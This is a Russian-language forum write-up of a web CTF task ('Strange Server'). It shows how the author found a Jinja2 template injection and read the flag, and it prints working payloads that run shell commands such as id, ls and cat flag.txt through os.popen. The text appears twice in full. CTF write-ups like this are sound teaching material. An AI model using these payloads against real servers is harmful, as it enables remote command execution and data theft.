vov4ick
20.12.2023, 15:52
Приветствую любителей играть в CTF, особенно тех кто любит играть на Antichat.games.
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб.
https://forum.antichat.xyz/attachments/29109203/img_a37f3f8a72.png
Первое что мы видим переходя по ip:
https://forum.antichat.xyz/attachments/29109203/img_c377547901.png
Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного.
В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел.
Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url:
https://forum.antichat.xyz/attachments/29109203/img_d170c0984a.png
Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано
как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI.
Попробуем что то вывести :
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('id').read() }}
Этот код в языке шаблонов предполагает выполнение команды id.
В результате его выполнения будет возвращена информация о текущем пользователе:
https://forum.antichat.xyz/attachments/29109203/img_36fe75c5be.png
Попробуем теперь поискать что нибудь:
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('ls').read() }}
https://forum.antichat.xyz/attachments/29109203/img_b7fcc2a33f.png
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('cat flag.txt').read() }}
https://forum.antichat.xyz/attachments/29109203/img_cfa3d26e1a.png
Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч!
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб.
https://forum.antichat.xyz/attachments/29109203/img_a37f3f8a72.png
Первое что мы видим переходя по ip:
https://forum.antichat.xyz/attachments/29109203/img_c377547901.png
Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного.
В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел.
Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url:
https://forum.antichat.xyz/attachments/29109203/img_d170c0984a.png
Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано
как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI.
Попробуем что то вывести :
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('id').read() }}
Этот код в языке шаблонов предполагает выполнение команды id.
В результате его выполнения будет возвращена информация о текущем пользователе:
https://forum.antichat.xyz/attachments/29109203/img_36fe75c5be.png
Попробуем теперь поискать что нибудь:
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('ls').read() }}
https://forum.antichat.xyz/attachments/29109203/img_b7fcc2a33f.png
{{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('cat flag.txt').read() }}
https://forum.antichat.xyz/attachments/29109203/img_cfa3d26e1a.png
Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч!